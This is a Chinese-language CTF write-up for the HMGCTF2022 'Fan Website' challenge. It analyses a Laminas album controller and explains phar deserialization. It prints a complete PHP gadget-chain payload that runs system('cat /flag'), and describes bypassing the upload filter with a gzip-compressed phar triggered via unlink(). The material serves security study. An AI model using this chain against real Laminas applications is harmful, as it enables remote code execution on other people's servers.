[HMGCTF2022]Fan Website
首先进入题目,很简单的页面,似乎是个管理系统,先拿御剑扫一下。
直接就扫到备份文件了
里面的文件有点看不懂,百度了一下,这种被称作laminas框架,而mvc的框架首先就是看路由在\module\Album\src\Controller\AlbumController.php里面有功能点。
<?php
namespace Album\Controller;
use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;
class AlbumController extends AbstractActionController
{
// Add this property:
private $table;
private $white_list;
public function __construct(AlbumTable $table){
$this->table = $table;
$this->white_list = array('.jpg','.jpeg','.png');
}
public function indexAction()
{
return new ViewModel([
'albums' => $this->table->fetchAll(),
]);
}
public function addAction()
{
$form = new AlbumForm();
$form->get('submit')->setValue('Add');
$request = $this->getRequest();
if (! $request->isPost()) {
return ['form' => $form];
}
$album = new Album();
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return ['form' => $form];
}
$album->exchangeArray($form->getData());
$this->table->saveAlbum($album);
return $this->redirect()->toRoute('album');
}
public function editAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (0 === $id) {
return $this->redirect()->toRoute('album', ['action' => 'add']);
}
// Retrieve the album with the specified id. Doing so raises
// an exception if the album is not found, which should result
// in redirecting to the landing page.
try {
$album = $this->table->getAlbum($id);
} catch (\Exception $e) {
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
$form = new AlbumForm();
$form->bind($album);
$form->get('submit')->setAttribute('value', 'Edit');
$request = $this->getRequest();
$viewData = ['id' => $id, 'form' => $form];
if (! $request->isPost()) {
return $viewData;
}
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return $viewData;
}
$this->table->saveAlbum($album);
// Redirect to album list
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
public function deleteAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (!$id) {
return $this->redirect()->toRoute('album');
}
$request = $this->getRequest();
if ($request->isPost()) {
$del = $request->getPost('del', 'No');
if ($del == 'Yes') {
$id = (int) $request->getPost('id');
$this->table->deleteAlbum($id);
}
// Redirect to list of albums
return $this->redirect()->toRoute('album');
}
return [
'id' => $id,
'album' => $this->table->getAlbum($id),
];
}
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}
}
显然这里有个文件上传的函数:public function imguploadAction()
public function imguploadAction()
{
$form = new UploadForm(‘upload-form’);
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}
限制有点多,首先入眼可见的是白名单限制,限制了上传文件的后缀名:
$this->white_list = array('.jpg','.jpeg','.png')
然后有个过滤:
/<\?|php|HALT_COMPILER/i
phar文件浅析
这个 __HALT_COMPILER有点奇怪,百度了一下,这个东西是 phar 扩展识别的标志,是一种我之前闻所未闻的东西,后面对于phar的浅析参见大佬文章 :
通常利用反序列化漏洞的时候,只能将反序列化后的字符串传入到unserialize()中,这种漏洞随着代码安全性的提高之后难以利用。在2018年的Black Hat会议上,Sam Thomas提出了利用phar文件会以序列化字符串的形式存储用户自定义的meta_data这一点特性,拓展了php反序列化漏洞的攻击。该方法依赖于文件系统的函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,可以不依赖于unserialize()进行反序列化操作。
什么是phar文件
- phar(PHP Archive)是PHP里的一种打包文件,用于归档 。PHP版本>=5.3的时候默认开启对phar文件的支持。
- phar文件默认状态是只读。使用phar文件不需要任何额外配置。
- phar://伪协议用来解析phar文件的内容。
phar文件的结构:
a stub
可以理解位一种标志,其格式为xxx<?php xxx;_HALT_COMPILER();?> ,前面的内容不限,但是一定要以HALT_COMPILER();?>来结尾,否则phar扩展无法识别这个文件,也就是说,phar扩展是以_HALT_COMPILER();?>为标志来识别phar文件的。因此该题目里对于_HALT_COMPILER就是为了限制phar文件的上传。
a manifest describing the contents
phar文件的本质就是一种压缩文件,每个被压缩文件的权限,属性等信息都被存放在这里,另外,用户自定义的meta-data也会被储存在这里,这是实现phar文件攻击的核心。
the file contents
被压缩的内容
[optional] a signature for verifying Phar integrity (phar file format only)
文件签名,放在文件末尾,格式如下。
对于phar文件的利用常见于CTF之中,但对于它的利用仍然有一定的条件:
- phar文件必须可以上传到服务端。
- 必须要有可以利用的魔术方法(wakeup()、destruct())等。
- 文件系统的相关函数参数可控,且
phar
、:
、/
等关键字没有被过滤。
综上所述,phar文件是一种在源码中不存在 unserialize() 函数时利用反序列化漏洞的文件。
找phar的利用点,在imgdeleteAction里面有@unlink($imgpath);
,可以触发phar
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
payload构造
现在我们可以直接构造payload了:
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
绕过过滤
但问题在于这里的函数存在过滤,会对我们phar文件的特征头进行检验,就这样直接上传上去显然是不现实的,因此我们要思考怎么绕过这个过滤。
在大佬的文章里提到:GIF89a
遗憾的是这里的白名单里限制了文件的后缀名,像文章里一样加GIF89a伪装成gif文件是不现实的,因此我们只能考虑另外一种方法—— 将phar文件进行gzip压缩,这样就没有特征了。
但这样直接上传上去显然是不行的,因为从前面的限制我们可以看到后端代码限制我们上传文件必须大于3kb,这一点很好满足,疯狂的往后写1就行了(^_^)
现在只要我们找到上传界面,上传我们的病毒文件就行了。
从这里我们可以看到我们上传图片的地址
用phar伪协议读取该文件,现在我们可以从页面的回应中看到flag了。